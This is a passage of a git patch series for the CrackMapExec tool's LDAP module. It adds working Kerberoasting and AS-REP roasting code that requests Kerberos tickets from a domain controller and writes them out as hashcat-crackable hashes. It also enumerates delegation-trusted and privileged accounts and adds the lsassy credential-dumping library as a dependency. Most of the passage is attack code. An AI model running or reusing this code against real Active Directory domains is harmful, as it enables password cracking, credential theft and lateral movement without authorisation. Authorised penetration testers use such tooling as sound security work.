'$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + else: + logging.error('Skipping %s/%s due to incompatible e-type %d' % ( + decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], + decodedTGS['ticket']['enc-part']['etype'])) + + self.logger.info(u'{}'.format(entry)) + with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: + if self.host not in hash_kerberoasting.read(): + hash_kerberoasting.write(entry + '\n') diff --git a/cme/protocols/ldap/__init__.py b/cme/protocols/ldap/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/cme/protocols/ldap/database.py b/cme/protocols/ldap/database.py new file mode 100644 index 000000000..498d0cdf6 --- /dev/null +++ b/cme/protocols/ldap/database.py @@ -0,0 +1,19 @@ +class database: + + def __init__(self, conn): + self.conn = conn + + @staticmethod + def db_schema(db_conn): + db_conn.execute('''CREATE TABLE "credentials" ( + "id" integer PRIMARY KEY, + "username" text, + "password" text + )''') + + db_conn.execute('''CREATE TABLE "hosts" ( + "id" integer PRIMARY KEY, + "ip" text, + "hostname" text, + "port" integer + )''') diff --git a/cme/protocols/ldap/db_navigator.py b/cme/protocols/ldap/db_navigator.py new file mode 100644 index 000000000..3950c839d --- /dev/null +++ b/cme/protocols/ldap/db_navigator.py @@ -0,0 +1,5 @@ +from cme.cmedb import DatabaseNavigator + + +class navigator(DatabaseNavigator): + pass diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index c6b917062..b1f19ec07 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -186,7 +186,7 @@ def get_os_arch(self): transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() - if self._conn.kerberos: + if self.args.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: diff --git a/setup.py b/setup.py index 384bab9ad..5b83d3484 100755 --- a/setup.py +++ b/setup.py @@ -33,7 +33,8 @@ 'paramiko', 'impacket', 'xmltodict', - 'terminaltables' + 'terminaltables', + 'lsassy' ], entry_points={ 'console_scripts': ['crackmapexec=cme.crackmapexec:main', 'cme=cme.crackmapexec:main', 'cmedb=cme.cmedb:main'], From ad4f06918b51275b3b365a71ec3ee3f181e14bcd Mon Sep 17 00:00:00 2001 From: mpgn Date: Fri, 19 Jun 2020 17:31:34 -0400 Subject: [PATCH 07/22] Refactor the ldap module and add option --admin-count and --trusted-for-auth --- cme/protocols/ldap.py | 424 +++++++++++++++------------------ cme/protocols/ldap/kerberos.py | 212 +++++++++++++++++ 2 files changed, 402 insertions(+), 234 deletions(-) create mode 100644 cme/protocols/ldap/kerberos.py diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py index 20bff0188..38dfdb912 100644 --- a/cme/protocols/ldap.py +++ b/cme/protocols/ldap.py @@ -1,28 +1,22 @@ # from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py +# https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf import requests import logging import configparser -from pyasn1.codec.der import decoder, encoder -from pyasn1.type.univ import noValue from cme.connection import * from cme.helpers.logger import highlight from cme.logger import CMEAdapter +from cme.protocols.ldap.kerberos import KerberosAttacks from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION -from impacket.examples import logger -from impacket.krb5 import constants -from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS from impacket.krb5.types import KerberosTime, Principal -from impacket.krb5.asn1 import TGS_REP -from impacket.krb5.ccache import CCache from impacket.ldap import ldap as ldap_impacket +from impacket.krb5 import constants from impacket.ldap import ldapasn1 as ldapasn1_impacket -from datetime import datetime,timedelta from io import StringIO -from binascii import hexlify, unhexlify class ldap(connection): @@ -31,6 +25,7 @@ def __init__(self, args, db, host): self.server_os = None self.os_arch = 0 self.hash = None + self.ldapConnection = None self.lmhash = '' self.nthash = '' self.baseDN = '' @@ -56,7 +51,11 @@ def proto_args(parser, std_parser, module_parser): egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos") egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat") - egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcatcc') + egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat') + + vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") + vgroup.add_argument("--trusted-for-auth", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") + vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") return parser @@ -155,17 +154,17 @@ def kerberos_login(self, aesKey, kdcHost): target = domain try: - ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, + self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, kdcHost=self.kdcHost) - ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL - ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) - ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, + self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) + self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, kdcHost=self.kdcHost) - self.search_as_rep(ldapConnection) + self.search_as_rep(self.ldapConnection) return True @@ -185,22 +184,26 @@ def plaintext_login(self, domain, username, password): else: target = domain - if self.kerberos is False and self.password == '' and self.args.asreproast: - self.getTGT_asroast(self.username) - return False # Connect to LDAP try: - ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost) - ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost) + self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL - ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) - ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) - if self.args.asreproast: - self.search_as_rep(ldapConnection) - elif self.args.kerberoasting: - self.search_kerberoasting(ldapConnection) + self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) + self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + try: + self.ldapConnection.search(searchFilter='(objectCategory=nop)') + out = u'{}{}:{}'.format('{}\\'.format(domain), + username, + password) + self.logger.success(out) + except ldap_impacket.LDAPSearchError as e: + if self.password != '': + self.logger.error("Authentication failed") + return False + return True def create_smbv1_conn(self): @@ -217,7 +220,38 @@ def create_smbv1_conn(self): return True - def search_as_rep(self, ldapConnection): + def create_smbv3_conn(self): + try: + self.conn = SMBConnection(self.host, self.host, None, 445) + self.smbv1 = False + except socket.error: + return False + except Exception as e: + logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e)) + return False + + return True + + def create_conn_obj(self): + if self.create_smbv1_conn(): + return True + elif self.create_smbv3_conn(): + return True + + return False + + def getUnixTime(self, t): + t -= 116444736000000000 + t /= 10000000 + return t + + def asreproast(self): + if self.kerberos is False and self.password == '' and self.args.asreproast: + hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) + self.logger.highlight(u'{}'.format(hash_TGT)) + with open(self.args.asreproast, 'a+') as hash_asreproast: + hash_asreproast.write(hash_TGT + '\n') + return False # Building the search filter searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ @@ -225,7 +259,7 @@ def search_as_rep(self, ldapConnection): try: logging.debug('Search Filter=%s' % searchFilter) - resp = ldapConnection.search(searchFilter=searchFilter, + resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], sizeLimit=999) @@ -237,7 +271,6 @@ def search_as_rep(self, ldapConnection): resp = e.getAnswers() pass else: - self.logger.error("Authentication failed") return False answers = [] @@ -279,18 +312,21 @@ def search_as_rep(self, ldapConnection): pass if len(answers)>0: for user in answers: - self.getTGT_asroast(user[0]) + hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0]) + self.logger.highlight(u'{}'.format(hash_TGT)) + with open(self.args.asreproast, 'a+') as hash_asreproast: + hash_asreproast.write(hash_TGT + '\n') return True else: self.logger.error("No entries found!") - def search_kerberoasting(self, ldapConnection): + def kerberoasting(self): # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" try: - resp = ldapConnection.search(searchFilter=searchFilter, + resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], sizeLimit=999) @@ -302,8 +338,7 @@ def search_kerberoasting(self, ldapConnection): resp = e.getAnswers() pass else: - self.logger.error("Authentication failed") - return + return False answers = [] logging.debug('Total of records returned %d' % len(resp)) @@ -358,7 +393,7 @@ def search_kerberoasting(self, ldapConnection): if len(answers)>0: users = dict( (vals[1], vals[0]) for vals in answers) - TGT = self.getTGT_kerberoasting() + TGT = KerberosAttacks(self).getTGT_kerberoasting() for user, SPN in users.items(): try: serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) @@ -366,218 +401,139 @@ def search_kerberoasting(self, ldapConnection): self.kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) - self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN) + r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, user, SPN) + self.logger.highlight(u'{}'.format(r)) + with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: + hash_kerberoasting.write(r + '\n') except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('SPN: %s - %s' % (SPN,str(e))) else: - print("No entries found!") - - def create_smbv3_conn(self): - try: - self.conn = SMBConnection(self.host, self.host, None, 445) - self.smbv1 = False - except socket.error: - return False - except Exception as e: - logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e)) - return False - - return True - - def create_conn_obj(self): - if self.create_smbv1_conn(): - return True - elif self.create_smbv3_conn(): - return True - - return False - - def getUnixTime(self, t): - t -= 116444736000000000 - t /= 10000000 - return t - - def getTGT_asroast(self, userName, requestPAC=True): - - clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - - asReq = AS_REQ() - - domain = self.domain.upper() - serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - - pacRequest = KERB_PA_PAC_REQUEST() - pacRequest['include-pac'] = requestPAC - encodedPacRequest = encoder.encode(pacRequest) - - asReq['pvno'] = 5 - asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) - - asReq['padata'] = noValue - asReq['padata'][0] = noValue - asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) - asReq['padata'][0]['padata-value'] = encodedPacRequest - - reqBody = seq_set(asReq, 'req-body') - - opts = list() - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) - opts.append(constants.KDCOptions.proxiable.value) - reqBody['kdc-options'] = constants.encodeFlags(opts) - - seq_set(reqBody, 'sname', serverName.components_to_asn1) - seq_set(reqBody, 'cname', clientName.components_to_asn1) - - if domain == '': - logger.error('Empty Domain not allowed in Kerberos') - return - - reqBody['realm'] = domain - now = datetime.utcnow() + timedelta(days=1) - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['rtime'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - - supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) - - seq_set_iter(reqBody, 'etype', supportedCiphers) - - message = encoder.encode(asReq) + self.logger.error("No entries found!") + def trusted_for_auth(self): + # Building the search filter + searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" try: - r = sendReceive(message, domain, self.kdcHost) - except KerberosError as e: - if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: - # RC4 not available, OK, let's ask for newer types - supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), - int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) - seq_set_iter(reqBody, 'etype', supportedCiphers) - message = encoder.encode(asReq) - r = sendReceive(message, domain, self.kdcHost) + logging.debug('Search Filter=%s' % searchFilter) + resp = self.ldapConnection.search(searchFilter=searchFilter, + attributes=['sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=999) + except ldap_impacket.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass else: - raise e + return False + answers = [] + logging.debug('Total of records returned %d' % len(resp)) - # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the - # 'Do not require Kerberos preauthentication' set - try: - asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] - except: - # Most of the times we shouldn't be here, is this a TGT? - asRep = decoder.decode(r, asn1Spec=AS_REP())[0] + for item in resp: + if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = "0x%x" % int(attribute['vals'][0]) + elif str(attribute['type']) == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + if mustCommit is True: + answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.debug('Skipping item, cannot process due to error %s' % str(e)) + pass + if len(answers)>0: + logging.debug(answers) + for value in answers: + self.logger.highlight(value[0]) else: - # The user doesn't have UF_DONT_REQUIRE_PREAUTH set - logging.debug('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName) - return - - # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. - hash_TGT = '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, - hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), - hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) - self.logger.info(u'{}'.format(hash_TGT)) - with open(self.args.asreproast, 'a+') as hash_asreproast: - if self.host not in hash_asreproast.read(): - hash_asreproast.write(hash_TGT + '\n') - return '' + self.logger.error("No entries found!") + return - def getTGT_kerberoasting(self): + def admin_count(self): + # Building the search filter + searchFilter = "(adminCount=1)" try: - ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) - except: - # No cache present - pass - else: - # retrieve user and domain information from CCache file if needed - if self.domain == '': - domain = ccache.principal.realm['data'] - else: - domain = self.__domain - logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) - principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) - creds = ccache.getCredential(principal) - if creds is not None: - TGT = creds.toTGT() - logging.debug('Using TGT from cache') - return TGT + logging.debug('Search Filter=%s' % searchFilter) + resp = self.ldapConnection.search(searchFilter=searchFilter, + attributes=['sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=999) + except ldap_impacket.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass else: - logging.debug("No valid credentials found in cache. ") - - # No TGT in cache, request it - userName = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + return False + answers = [] + logging.debug('Total of records returned %d' % len(resp)) - # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the - # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the - # cleartext password. - # If no clear text password is provided, we just go with the defaults. - if self.password != '' and (self.lmhash == '' and self.nthash == ''): + for item in resp: + if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' try: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.domain, - compute_lmhash(self.password), - compute_nthash(self.password), self.aesKey, - kdcHost=self.kdcHost) + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = "0x%x" % int(attribute['vals'][0]) + elif str(attribute['type']) == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + if mustCommit is True: + answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) except Exception as e: - logging.debug('TGT: %s' % str(e)) - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain, - unhexlify(self.lmhash), - unhexlify(self.nthash), self.aesKey, - kdcHost=self.kdcHost) - - else: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain, - unhexlify(self.lmhash), - unhexlify(self.nthash), self.aesKey, - kdcHost=self.kdcHost) - TGT = {} - TGT['KDC_REP'] = tgt - TGT['cipher'] = cipher - TGT['sessionKey'] = sessionKey - - return TGT - - def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): - decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - - # According to RFC4757 (RC4-HMAC) the cipher part is like: - # struct EDATA { - # struct HEADER { - # OCTET Checksum[16]; - # OCTET Confounder[8]; - # } Header; - # OCTET Data[0]; - # } edata; - # - # In short, we're interested in splitting the checksum and the rest of the encrypted data - # - # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) - # last 12 bytes of the encrypted ticket represent the checksum of the decrypted - # ticket - if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: - entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( - constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) - elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: - entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( - constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) - elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: - entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( - constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) - elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: - entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( - constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + logging.debug("Exception:", exc_info=True) + logging.debug('Skipping item, cannot process due to error %s' % str(e)) + pass + if len(answers)>0: + logging.debug(answers) + for value in answers: + self.logger.highlight(value[0]) else: - logging.error('Skipping %s/%s due to incompatible e-type %d' % ( - decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], - decodedTGS['ticket']['enc-part']['etype'])) - - self.logger.info(u'{}'.format(entry)) - with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: - if self.host not in hash_kerberoasting.read(): - hash_kerberoasting.write(entry + '\n') + self.logger.error("No entries found!") + return + diff --git a/cme/protocols/ldap/kerberos.py b/cme/protocols/ldap/kerberos.py new file mode 100644 index 000000000..34a8accc8 --- /dev/null +++ b/cme/protocols/ldap/kerberos.py @@ -0,0 +1,212 @@ +import logging +import random +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue +from impacket.krb5.asn1 import TGS_REP, AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter +from impacket.krb5.ccache import CCache +from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS +from impacket.krb5.types import KerberosTime, Principal +from impacket.krb5 import constants +from impacket.ntlm import compute_lmhash, compute_nthash +from impacket.examples import logger +from binascii import hexlify, unhexlify +from datetime import datetime,timedelta + +class KerberosAttacks: + + def __init__(self, connection): + self.username = connection.username + self.password = connection.password + self.domain = connection.domain + self.hash = connection.hash + self.lmhash = '' + self.nthash = '' + self.aesKey = connection.aesKey + self.kdcHost = connection.kdcHost + self.kerberos = connection.kerberos + + if self.hash is not None: + if self.hash.find(':') != -1: + self.lmhash, self.nthash = self.hash.split(':') + else: + self.nthash = self.hash + + if self.password is None: + self.password = '' + + def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): + decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + + # According to RFC4757 (RC4-HMAC) the cipher part is like: + # struct EDATA { + # struct HEADER { + # OCTET Checksum[16]; + # OCTET Confounder[8]; + # } Header; + # OCTET Data[0]; + # } edata; + # + # In short, we're interested in splitting the checksum and the rest of the encrypted data + # + # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) + # last 12 bytes of the encrypted ticket represent the checksum of the decrypted + # ticket + if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + else: + logging.error('Skipping %s/%s due to incompatible e-type %d' % ( + decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], + decodedTGS['ticket']['enc-part']['etype'])) + + return entry + + def getTGT_kerberoasting(self): + try: + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + except: + # No cache present + pass + else: + # retrieve user and domain information from CCache file if needed + if self.domain == '': + domain = ccache.principal.realm['data'] + else: + domain = self.domain + logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) + principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + logging.debug('Using TGT from cache') + return TGT + else: + logging.debug("No valid credentials found in cache. ") + + # No TGT in cache, request it + userName = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the + # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the + # cleartext password. + # If no clear text password is provided, we just go with the defaults. + if self.password != '' and (self.lmhash == '' and self.nthash == ''): + try: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.domain, + compute_lmhash(self.password), + compute_nthash(self.password), self.aesKey, + kdcHost=self.kdcHost) + except Exception as e: + logging.debug('TGT: %s' % str(e)) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain, + unhexlify(self.lmhash), + unhexlify(self.nthash), self.aesKey, + kdcHost=self.kdcHost) + + else: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain, + unhexlify(self.lmhash), + unhexlify(self.nthash), self.aesKey, + kdcHost=self.kdcHost) + TGT = {} + TGT['KDC_REP'] = tgt + TGT['cipher'] = cipher + TGT['sessionKey'] = sessionKey + + return TGT + + def getTGT_asroast(self, userName, requestPAC=True): + + clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + asReq = AS_REQ() + + domain = self.domain.upper() + serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + pacRequest = KERB_PA_PAC_REQUEST() + pacRequest['include-pac'] = requestPAC + encodedPacRequest = encoder.encode(pacRequest) + + asReq['pvno'] = 5 + asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) + 